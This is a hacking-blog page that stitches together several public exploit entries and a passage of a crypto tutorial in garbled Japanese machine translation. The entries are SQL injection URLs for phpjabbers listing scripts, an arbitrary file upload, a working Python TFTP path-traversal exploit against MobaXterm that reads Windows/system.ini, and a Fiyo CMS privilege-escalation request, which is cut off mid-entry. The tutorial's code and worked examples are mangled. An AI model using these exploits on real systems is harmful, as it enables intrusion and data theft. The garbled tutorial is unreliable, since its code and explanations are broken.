Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863294408

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# # # # # 
# Exploit Title: Global In - Arbitrary File Upload
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.techbizstudio.com/
# Software: https://www.techbizstudio.com/product/linkedin-clone/
# Demo: https://www.techbizstudio.com/demo/globalin/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# Login as regular user
# http://localhost/[PATH]/dashboard
# Upload Photo / File.php
# http://localhost/[PATH]/post-images/1113330455_File.php
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Pet Listing Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/pet-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=petls&front=1&lid=1
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionIndex&listing_search=1&year_from=2017[SQL]&year_to=2017[SQL]
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Property Listing Script v3.1 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/property-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=pls&front=1&lid=1
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1[SQL]&max_bedrooms=1[SQL]&min_bathrooms=1[SQL]&max_bathrooms=2[SQL]
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Travel Tours Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/travel-tours-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=vpl&front=1&lid=1
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/front.php?controller=pjListings&action=pjActionIndex&sortby=stars&direction=[SQL]&listing_search=1&type=[SQL]&rating_from=[SQL]&rating_to=[SQL]&price_from=[SQL]&price_to=[SQL]
# Etc..
# # # # #
            

暗号化の紹介

暗号化は一般に、古典的な暗号化と現代の暗号化に分けることができます。

その中で、実用的な芸術としての古典的な暗号化は、多くの場合、デザイナーと敵の創造性とスキルに依存しており、元の暗号を明確に定義していません。主に次の側面が含まれています

シングルテーブル交換暗号化マルチテーブル交換暗号化奇妙な暗号化方法。一方、現代の暗号化は、20世紀後半に登場した多数の関連理論に由来し、現代の暗号化を体系的かつ厳密に学ぶことができる科学になりました。現代の暗号化は、単に次の側面に分けることができます

DES、AES、RC4で表される対称パスワード。非対称パスワードは、RSAおよび楕円曲線暗号化によって表されます。 MD5、SHA1、SHA512などで表されるHash。デジタル署名、RSA署名、Elgamal Signature、およびDSA Signatureで表されます。暗号化する主な方法は2つあります

ブロック暗号化ストリーム暗号化一般的に言えば、パスワードデザイナーの基本的なアイデアは、パスワードフレームワークを確保することです。

機密性の整合性の可用性は否定できず、最初の3つはCIAトリプルとも呼ばれます。

パスワードクラッカーの場合、通常、パスワードアルゴリズムを識別する方法を見つけてから、パスワードフレームワークのブルートフォースクラッキング方法または脆弱性を使用してクラックする必要があります。もちろん、対応する検出をバイパスするために、誤ったハッシュ値または署名を構築したい場合もあります。

一般的に言えば、攻撃者はパスワードシステムが壊れていることを知っていると仮定します。一般的に言えば、次の種類の攻撃があります。

攻撃タイプの説明該当するシナリオ:暗号文攻撃攻撃攻撃者のみがciphertextクラシックパスワードのみを既知のプレーンテキスト攻撃と対応する暗号化クラシックパスワード、対称的なパスワード、非対称パスワード、非対称パスワード、プラントテキスト攻撃は、対応する微細テキスト対称パスワードを取得することができます。非対称パスワードは、いくつかの暗号文を選択した後、プレーンテキスト非対称パスワードを取得できます。ここに推奨される資料がいくつかあります

Khan Academy Open Classは理解しやすい暗号化——一般的な暗号化技術の原則とアプリケーション

参照

ウィキペディアクリプトグラフィ

古典的なパスワードの紹介

シャノンの機密システムのコミュニケーション理論の公開前の暗号化は、古典的なクリプトグラフィーとして分類されます。最終分析では、古典的な暗号エンコーディングの2つの主要な方法、つまり置換と交換があります。

パスワードを交換

プレーンテキストの文字を再配置すると、文字自体は変更されていませんが、その位置は変わります。この方法でコンパイルされたパスワードは、交換パスワードと呼ばれます。パスワードを置き換える最も簡単な方法は、プレーンテキストのアルファベット順の順序を逆にしてから、それをciphertextとして固定長の文字グループにカットすることです。

- 列の順列暗号化:固定された長さm、つまり、行ごとのm文字、キーの制御下で特定の順序で列を交換する列、つまり、列の優先順位で読み取る、つまり、ciphertextが生成されます。復号化:逆プロセス。

- 定期的な順列は、ほぼ同じ列の順序ですが、追加および復号化する場合、列交換後に行ごとに下方に実行されます。

置換

パスワード置換は、プレーンテキストの文字を他の文字に置き換えることです。 -single-denote置換パスワードAからBへのマッピングを定義します:F:A→BF(A_I)=B_I=A_J \ J=I+K \ MOD N加算パスワードは、アルファベットの後のK番目の文字に置き換えられます。 K=3は、Caesarが使用する暗号化システムである有名なCaesarコードです。これは、シセロの戦いで重要な軍事情報を保護するために古代ローマ人の偉大なものです。これは、世界史における最初の有名なパスワードアプリケーションです。

cultip倍パスワードaとbは、n文字のあるアルファベットです。aからbへのマッピングを定義します:f:a→bf(a_i)=b_i=a_j \ j=ik \ mod n where :(n、k)=1。注:(n、k)=1のみが正しく解読できます。

cassidersパスワードの代わりにランダムに単語を選択し、内部の重複文字を削除し、マトリックスの最初の行に書き込み、この最初の行の文字をプレーンテキストアルファベットから削除し、残りの文字をマトリックスアルファベットに書き込みます。次に、列に従って文字を取り出して、暗号アルファベットを形成します。

-Multi-denotesはパスワードを単一デノットに置き換えますが、1つの理由は、単純なテキストレターが暗号テキストレターにのみ置き換えられることです。周波数分析は、解読に使用できます。したがって、より安全なマルチデノテッド置換パスワードが生成されます。つまり、複数の暗号文アルファベットが構築され、一連の置換テーブルが使用されて、キーの制御下でシーケンスのプレーンテキストメッセージのアルファベットシーケンスを置き換えます。

古典的な暗号化では、主に単一テーブルの代替パスワード、マルチテーブルの代替パスワード、およびその他の興味深いパスワードを紹介します。

古典的な暗号化では、デザイナーは主にメッセージの機密性を考慮しているため、関連するキーを持つ人のみが暗号テキストを復号化してメッセージのコンテンツを取得できず、メッセージの完全性と否定性を考慮しないことに言及する価値があります。

単一テーブル暗号化

[目的]

いくつかの一般的な暗号化方法

[環境]

Ubuntu

[ツール]

JPK

[原則]

シングルテーブル交換暗号化の

パスワードのシフト

すべての暗号化方法には、ほぼ1つの共通の特徴があります。したがって、通常、割れる方法は2つあります

キースペースが小さい場合、暗号文の長さが十分に長いときにブルートフォースの亀裂が使用されます。キースペースが十分に大きく、暗号文の長さが十分に短い場合、単語周波数分析が使用され、亀裂はより困難です。

シーザーコード

原理

暗号化されると、Caesar暗号は、単純なテキスト内の各文字を後方(または前方)に移動します。これは、暗号テキストとして固定数(移動ループ)のアルファベットにある順序で順に移動します。たとえば、オフセットがシフトしたままになった場合(復号化中のキーは3):

プレーンアルファベット:abcdefghijklmnopqrstuvwxyz

秘密のテキストアルファベット:defghijklmnopqrstuvwxyzabc

使用すると、暗号化業者は、プレーンテキストアルファベットで暗号化する必要があるメッセージ内の各文字の場所を探し、Cipherテキストアルファベットに対応する文字を書きます。復号化する必要がある人は、元のプレーンテキストを取得するために、以前に既知のキーに基づいて逆に動作します。例えば:

プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます

パスワード:WKH TXLFN EURZQ IRA MXPSV RYHU WKH ODCB GRJ

オフセットに応じて、いくつかの特定のCAESARパスワード名があります。

オフセットは10です:avocat(a→k)オフセットは13:rot13です。 ROT13は独自の反転です。つまり、ROT13を復元するには、同じ暗号化アルゴリズムを使用してそれを取得できるため、同じ操作を再暗号化して解読できます。オフセットは-5:Cassis(k 6)です。オフセットは-6:カセット(k 7)です。さらに、キーベースのシーザー暗号があります。基本原則は、キーを使用してキーの各ビットを数値(通常はアルファベットの対応する順序で数値に変換)に変換し、この数値をキーとして使用して、プレーンテキストの各文字を暗号化することです。

atbash cipher

Caesarパスワードと同様に、パスワードをシフトするだけでなく、数字や特殊文字も扱うことです。 ASCIIコードテーブルは、一般的にシフトに使用されます。亀裂方法は、考えられる結果を得るためにすべての可能性を横断することでもあります。

原理

簡単なパスワードの交換

Atbash Cipherは、実際に以下に紹介する単純な交換パスワードの特別なケースと見なすことができます。アルファベットの最後の文字を使用して最初の文字を表し、最後から2番目の文字は2番目の文字を表します。ローマのアルファベットでは、次のように見えます。

プレーンテキスト:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

パスワード:Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

原理

アフィンパスワード

シンプルな置換暗号を暗号化するときは、各プレーンテキストレターを一意で異なる文字に置き換えます。それとCAESARパスワードの違いは、パスワードのアルファベットの文字が単にシフトされているのではなく、完全に混乱しているため、CAESARパスワードよりもクラックするのが難しくなっていることです。例えば:

プレーンレター: abcdefghijklmnopqrstuvwxyz

キーレター: phqgiumeylnofdxjkrcvstzwb

aはpに対応し、dはHなどに対応します。

原理

[step]

アフィンパスワードの暗号化関数はe(x)=(ax+b)(modm)で、ここで

xは、プレーンテキストの特定のエンコードで取得された番号AとMを表します。エンコードシステムの文字の数です。復号化関数はd(x)=a − 1(x -b)(modm)で、a -1はzmグループのaの乗算逆要素です。

Caiserパスワード

atbash cipher

ここでは、Xman Summer Camp共有トーナメントの第1フェーズであるCrypto 100を紹介します。

プレーンテキスト:S0A6U3U1S0BV1A

キー:広東

オフセット:6,20,0,13,6,19,14,20

パスワード:Y0U6U3H1Y0UJ1U

割れた

キーのないCaesarのパスワードの場合、それをクラックする2つの基本的な方法があります。

26のオフセットのトラバーサルは、単語頻度を分析するための一般的な状況に適しており、暗号文が長い状況に適しています。その中で、最初の方法は間違いなく平易なテキストを取得できますが、2番目の方法では必ずしも正しい平易なテキストを取得するとは限りません。

キーベースのシーザー暗号の場合、対応するキーを知る必要があります。

この質問を例に挙げてください:広州は最初にオフセットに変換され、Aは0に変換され、他の文字はそれに応じてオフセットされ、最終的なオフセットは6、20、0、13、6、19、14、20です。文字のみが暗号化され、最初の文字sはキーの最初の文字sに対応するオフセットであるため、暗号化の後、プレーンテキストの2番目の文字Aはキーuに対応するオフセットを続けます。暗号化が完了した後、暗号文はプレーンテキストから取得でき、逆操作はciphertextから取得できます。

道具

一般的に、次のツールがあり、その中にはJPKがより一般的です。

JPK、キーを使用して復号化するためのオンライン復号化ツールキーCaesarパスワードなし

簡単なパスワードの交換

以下は、ローマアルファベットの対応するルールに基づいて暗号化されているため、理解できます。

プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます

パスワード:GSV JFRXP LOVEM ULC QFNKH LEVI GSV OZAB WLT

割れた

その重要な空間は十分に短く、暗号文が十分に長い場合、単語周波数分析によって解決できることがわかります。

アフィンパスワード

例では、次の例では、原則部分を使用して、パーツの対応するルールを置き換えて暗号化するだけです。

プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます

パスワード:cei jvaql hkdtf udz yvoxr dsik cei npbw gdm

復号化するとき、通常、それをdyする前に、各文字の対応するルールを知っています。

割れた

この暗号化方式は26!のすべてのキーの数になるため、ブルートフォースソリューションを使用することはほとんど不可能です。したがって、通常、単語周波数分析を使用します。

道具

単語周波数分析と亀裂ツール

[概要]

例として、次の関数e(x)=(5x+8)mod26を紹介します。暗号化された文字列はアフィン暗号です。ここでは、エンコーディングシステムとしてアルファベットの26文字を直接使用します

プレーンテキストAffinecipherx055813428157417y=5x+8833333487328184883432893ymod268772221218222517215暗号テキストIhhwvcswfrcp

復号化プロセスの場合、通常の復号化装置にはaとbがあります。原理部分の対応する説明によれば、A -1が21であるため、その復号化関数はD(x)=21(x -8)(mod26)であり、復号化は次のとおりであると計算できます。

ciphertext ihhwvcswfrcpy87722121822517215x=21(y-8)0-21-21294273-126210294-63189-126147xmod26055813428157417 plaintext efsiphe shows assitiphe show show show show shove exhingは

割れた

まず、アフィンパスワードで取得した暗号文は、2つの異なる文字で異なる必要があるため、最も一般的な特性も備えていることがわかります。暗号文の長さが十分に長い場合、周波数分析方法を使用して解決できます。

第二に、パスワードを攻撃する方法を検討することができます。 a=1の場合、アフィン暗号化はシーザー暗号化であることがわかります。一般的に言えば、アフィンパスワードを使用する場合、文字セットはすべてアルファベットを使用し、通常は26文字しか使用しておらず、合計26と26の相互に排他的な数字があります。

ϕ(26)=ϕ(2)×ϕ(13)=12 bのオフセットの可能性が計算され、可能な総キースペースサイズは

12×26=312一般的に言えば、このタイプのパスワードについては、平易なテキストを知っている場合にのみ攻撃する必要があります。以下は簡単な分析です。

このパスワードは、2つのパラメーターによって制御されます。それらのいずれかを知っていれば、他のパラメーターを簡単に迅速に列挙して答えを得ることができます。

ただし、ここで26文字であると仮定して、使用されている文字セットが既に使用されていることをすでに知っていると仮定します。別の復号化の方法があり、復号化するために2つの暗号化された文字Y1とY2を知る必要があります。それから私たちはまだ知ることができます

y1=(ax1+b)(mod26)y2=(ax2+b)(mod26)2つの方程式を減算すると、取得できます

y1 -y2=a(x1 -x2)(mod26)ここでy1、y2が知られています。暗号文に対応する2つの異なる文字x1とx2がわかっている場合、aとbを簡単に取得できます。

次のプログラムは、オペレーティングマシンのデスクトップ/ツール/twctf2016-super_express/directoryに保存されています

ここでは、例としてTWCTF 2016のsuper_expressを紹介します。簡単に与えられたソースコードをご覧ください

sysをインポートします

key='****検閲****************

flag='twctf {******検閲*********}'

Len(key)%2==1:の場合

印刷( 'キー長エラー')

sys.exit(1)

n=len(key)/2

暗号化=''

flag:のcの場合

c=ord(c)

a、b in zip(key [0:n]、key [n:2*n]):の場合

c=(ord(a) * c + ord(b))%251

暗号化+='%02x'%c

暗号化された印刷

フラグ内の各文字はn回暗号化されていますが、慎重に分析すると、それが見つかることがわかります。

C1=A1C+B1C2=A2C1+B2=A1A2C+A2B1C+B2=KC+D 2番目の行の導出によると、CNは実際には同じ形式であり、CN=XC+Yと見なされる可能性があります。

さらに、暗号テキストもタイトルに記載されており、暗号テキストのコンテンツは次のとおりです。

805eed80CBBCCB94C36413275780EC94A857DFEC8DA8CA94A8C313A8CCF9

また、いくつかの暗号文に対応するプレーンテキストでは、既知のプレーンテキスト攻撃方法を使用して攻撃することは簡単です。次のようにコードを使用します。ciphertextをテキストファイルとして保存し、暗号化された変更に変更します。暗号化されたディレクトリで次のコードを実行します

gmpyをインポートします

key='****検閲****************

flag='twctf {******検閲*********}'

f=open( 'necrypted'、 'r')

data=f.read()。ストリップ( '\ n')

暗号化=[int(data [i3360i + 2]、16)for i in range(0、len(data)、2)]

plaindelta=ord(flag [1]) - ord(flag [0])

cipherdalte=暗号化[1] - 暗号化[0]

a=gmpy.invert(plaindelta、251) * cipherdalte%251

b=(暗号化[0] -a * ord(flag [0]))%251

a_inv=gmpy.invert(a、251)

結果=''

暗号化:のCの場合

結果+=chr((c -b) * a_inv%251)

印刷結果

結果は次のとおりです(ファイルが配置されているディレクトリを右クリックし、ここから端子を開いて現在のディレクトリの端末を開き、次のように復号化プログラムを実行します)

シェル

twctf2016-super_express git:(マスター)python exploit.py

twctf {faster_than_shinkansen!}

多表現暗号化

このセクションの研究により、いくつかの一般的な暗号化方法と亀裂方法を学ぶことができます

原理

マルチテーブル置換暗号化の場合、暗号化された文字は元の周波数をほとんど維持しなくなるため、一般的にアルゴリズムを見つけることで対応する弱点を割ることができます。

ツール

PlayFairパスワード(PlayFair CipherまたはPlayFair Square)は、交換用パスワードです。 1854年にチャールズホイートストーンによって発明されました。基本的なアルゴリズムは次のとおりです。

英語の文字の文字列を選択し、繰り返される文字を削除し、残りの文字を5×5マトリックスに1つずつ追加し、A-Zの順に残りの英語の文字から残りのスペースを追加します。 qを削除するか、iとjを同じ単語として扱うことに注意してください。プレーンテキストを分割して、2つのグループに暗号化されます。グループ内の文字が同じ場合、グループの最初の文字にx(またはq)を追加して再編成します。 1つの単語が残っている場合は、Xを追加します。各グループに、マトリックス内の2つの文字がどこにあるかを確認します。 2文字に異なる行と列がある場合、マトリックス内の他の2文字を見つけます(最初の文字は行が優先されます)。これにより、これらの4文字は長方形の四隅になります。 2文字が並んでいる場合は、2文字の右に文字を持ちます(手紙が右端にある場合は、左端に手紙を取ります)。 2文字が同じ列にある場合は、2文字の下の文字を撮ります(文字が下部にある場合は、上記の文字を取ります)。新しく見つかった2文字は、元の2文字の暗号化の結果です。

鍵としてPlayFairの例を取ります、

P l a y f

I R e x m

b c d g h

K n o q s

T u v w z

暗号化されるメッセージは、木の切り株に金を隠すことです

こんにちは

取得します

bm od zb xd na be ku dm ui xm mo uv if if

原理

CAP4

ツール

Polybiusパスワードは、チェスボードパスワードとも呼ばれます。通常、特定のプレーンテキストで数字の組み合わせに暗号化され、一般的に使用されるパスワードリスト

123451ABCDE2FGHI/JK3LMNOP4QRSTU5VWXYZたとえば、単純なテキストこんにちは、暗号化後、23 15 31 31 34です。

別のパスワードリスト

adfgxabtalpddhozkfqfvsnggjcuxxmrewyここでの文字の順序は破壊されていることに注意してください。

d f g xの起源:

1918年、第一次世界大戦が終了しようとしたとき、フランス軍はドイツの電報を傍受し、電報のすべての単語は5文字のa、d、f、g、xから綴られたため、ADFGXパスワードと呼ばれました。 ADFGXパスワードは、1918年3月にドイツのフリッツネベル大佐によって発明されました。これは、Polybiusパスワードを組み合わせてパスワードを置き換えるデュアル暗号化スキームです。

たとえば、こんにちは、このテーブルの暗号化を使用することはDD XF AG DFです。

Vigenere Virginiaパスワード

Cryptool

原理

亀裂

バージニアパスワード(Vigenere)は、シーザーパスワードを使用してパスワードアルファベットを形成する暗号化アルゴリズムです。これは、マルチテーブルパスワードの単純な形式です。

维吉尼亚表格

これが例です

プレーンテキスト:グレートウォールに来てください

キー:暗号

まず、キーを埋めて、その長さがプレーンテキストの長さと同じになるようにします。

プレーンテキストComegreatwall Key Cryptoc、その後、テーブルを検索して暗号テキストを取得します

维吉尼亚加密

プレーンテキスト:グレートウォールに来てください

キー:暗号

パスワード:efkt zferrltzn

ツール

バージニア州のパスワードを含むすべてのマルチテーブルパスワードの解読は、文字頻度に基づいていますが、直接周波数分析は適用されません。これは、バージニア州のパスワードでは、文字が異なる暗号文に暗号化できるため、ここでは簡単な頻度分析が役に立たないためです。

バージニア州のパスワードを解読するための鍵は、そのキーがループで繰り返されることです。キーの長さがわかっている場合、暗号文は織り交ぜられたシーザーの暗号コードと見なすことができ、それぞれを個別に割ることができます。パスワードの長さについては、KassiskyテストとFriedmanテストを使用して取得できます。

Kassiskyの実験は、同じキー文字で暗号化される可能性があるため、暗号文に繰り返し表示される可能性があるという事実に基づいています。たとえば、プレーンテキストの異なる暗号は、キーABCDEFによって異なる暗号文に暗号化される場合があります。

キー:ABCDEF AB CDEFA BCD EFABCDEFABCD

プレーンテキスト:暗号は暗号化の略です

パスワード:csasxt it ukswt gqu gwyqvrkwaqjb

この時点で、プレーンテキストで繰り返される要素は、暗号テキストでは繰り返されません。ただし、キーが同じ場合、結果は(キーABCDを使用)になる可能性があります。

キー:ABCDAB CD ABCDA BCD ABCDABCD

プレーンテキスト:暗号は暗号化の略です

パスワード:CSASTP KV SIQUT GQU CSASTPIUAQJB

この時点で、Kassiskyテストは結果を生み出すことができます。この方法は、通常、より長い段落でより効果的です。通常、暗号文にはより繰り返しのセグメントがあります。次の暗号文を使用してキーの長さを解読できる場合:

パスワード:dyduxrmhtvdvnqdqnwduxrmhartjgwnqd

その中で、2つのdyduxrmhsの外観は18文字離れています。したがって、キーの長さは18の除数であると想定できます。つまり、長さは18、9、6、3、または2です。2つのNQDは20文字離れています。つまり、キーの長さは20、10、5、4、または2である必要があります。

より詳細なひび割れの原則に関しては、当面の間、あまり紹介することはありません。

nihilist

既知のキーPython Decrypts OnlineVigenèreCiphercap4未知のキーvigenèreciphercipher codebreakervigenereソルバーのPycipherライブラリ、十分ではありません。

原理

ヒル

ニヒリストのパスワードは、キーワードパスワードとしても知られています。例としてキーワードHelloWorldを使用してください。

まず、キーを使用してボードマトリックスを構築します(Polybiusパスワードと同様) - 新しい5×5マトリックスを作成します - 繰り返されることなくマトリックスに文字を順番に入力します - 残りをアルファベット順に埋める - 文字iとjは同等です

123451HELOW2RDABC3FGI/JKM4NPQST5UVXYZ暗号化プロセスリファレンスマトリックスM:

A -M [2,3] -23

T -M [4,5] -45

復号化プロセス用

参照マトリックスMを復号化する:

23 -m [2,3] -a

45 -m [4,5] -t

ciphertextの特性は次のとおりであることがわかります

純粋な数字には、偶数の偶発的な長さの1から5。

原理

3

ツール

のみが含まれています。ヒルパスワード(丘)は、アルファベット内の各文字の順序を対応する数字として使用します。 26.暗号化として使用されるマトリックス(つまり、キー)はZn26Z26Nでは可逆的でなければならないことに注意してください。そうしないと、デコードすることは不可能です。マトリックスの決定要因と26の共重力のみが可逆的です。これが例です

プレーンテキスト:行為

明の文化をマトリックスに入れてください。

⎡⎢⎣0219⎤⎥⎦[0219]キーは次のとおりです。

⎡⎢⎣6241131610201715⎤⎥⎦[6241131610201715]暗号化プロセスは次のとおりです。

⎡⎢⎣6241131610201715⎤⎥⎦⎡⎢⎣0219⎤⎥⎦α672222319⎤⎥⎦α15147⎤⎥⎦⎥⎦MOD26[6241131610201715] [0219]¹[67222319]するまった

パスワード:POH

cap4cryptool 010-1010ここでは、ISCC 2015 Base Decrypt 150を例として紹介します。タイトルはです

パスワード:

# # # # # 
# Exploit Title: Yacht Listing Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/yacht-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=yls&front=1&lid=1
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/front.php?controller=pjListings&action=pjActionIndex&listing_search=1&min_year=1948[SQL]&max_year=2017[SQL]&min_loa=6[SQL]&max_loa=20[SQL]&min_length=25[SQL]&max_length=150[SQL]&min_beam=20[SQL]&max_beam=150[SQL]
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Yellow Pages Script v3.2 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/yellow-pages-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=yps&front=1&lid=1
# Version: 3.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionIndex&category_id=[SQL]
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: PHP Forum Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/php-forum-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=pfs&front=1&lid=1
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&column=[SQL]created&direction=DESC
# Etc..
# # # # #
            
[+] Credits: John Page AKA hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt
[+] ISR: ApparitionSec            
 


Vendor:
=====================
mobaxterm.mobatek.net



Product:
===============================
MobaXterm Personal Edition v9.4

Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more.



Vulnerability Type:
=====================================
Path Traversal Remote File Disclosure




CVE Reference:
==============
CVE-2017-6805



Security Issue:
================
Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using
directory traversal attacks e.g.  ../../../../Windows/system.ini

Start MobaXterm TFTP server which listens on default TFTP port 69.

c:\>tftp -i 127.0.0.1 GET ../../../../Windows/system.ini
Transfer successful: 219 bytes in 1 second(s), 219 bytes/s

c:\xampp\htdocs>type system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]

Victim Data located on: 127.0.0.1



POC URL:
=============================
https://vimeo.com/207516364




Exploit:
==========

import sys,socket

print 'MobaXterm TFTP Directory Traversal 0day Exploit'
print 'Read Windows/system.ini'
print 'hyp3rlinx \n'

HOST = raw_input("[IP]>")
FILE = 'Windows/system.ini' 
PORT = 69                                        
 
PAYLOAD = "\x00\x01"                                #TFTP Read 
PAYLOAD += "../" * 4 + FILE + "\x00"                #Read system.ini using directory traversal
PAYLOAD += "netascii\x00"                           #TFTP Type
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: No Reply
March 10, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
# # # # # 
# Exploit Title: Mirage – Fancy Clone - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.zoplay.com/
# Software: https://www.zoplay.com/web/multi-vendor-clone-website/
# Demo: http://fancyclone.zoplay.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/shopby/IhsanSencan?c=[SQL]
# Duplicate entry 'fancyclone
# Etc..
# # # # #
            
# Exploit Title: Fiyo CMS 2.0.6.1 allows remote authenticated users to gain privileges via a modified level parameter
# Google Dork: no
# Date: 11-03-2017
# Exploit Author: @rungga_reksya, @dvnrcy
# Vendor Homepage: http://www.fiyo.org
# Software Link: https://sourceforge.net/projects/fiyo-cms
# Version: 2.0.6.1
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVE : CVE-2017-6823

I. Background:
Fiyo CMS di kembangkan dan dibuat pertama kali oleh mantan seorang pelajar SMK yang pada saat itu bersekolah di SMK 10 Semarang jurusan RPL. Pada zaman itu namanya bukan Fiyo CMS melainkan Sirion yang merupakan akronim dari Site Administration.

II. Description:
Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1

III. Exploit:
Fiyo CMS have five user group (super administrator, administrator, editor, publisher, member) and only three group can access backend page of admin (super administrator, administrator and editor).

If we login as super administrator and access edit profile menu, check source code (ctrl+u) from your browser and we get level privilege:
super administrator = 1
administrator = 2
editor = 3
publisher = 4
member = 5

Ok, prepare your tool like burpsuite to intercept traffic. in this case I login as editor and I want manipulation of editor group (level=3) to be super administrator group (level=1).  The first you access on menu “Edit Profile” and click “Simpan (Save)”, and then change like this on your burpsuite intercept menu:

Original:

POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134

edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=3&name=editor&bio=


Manipulation (Change Level=3 to be Level=1):

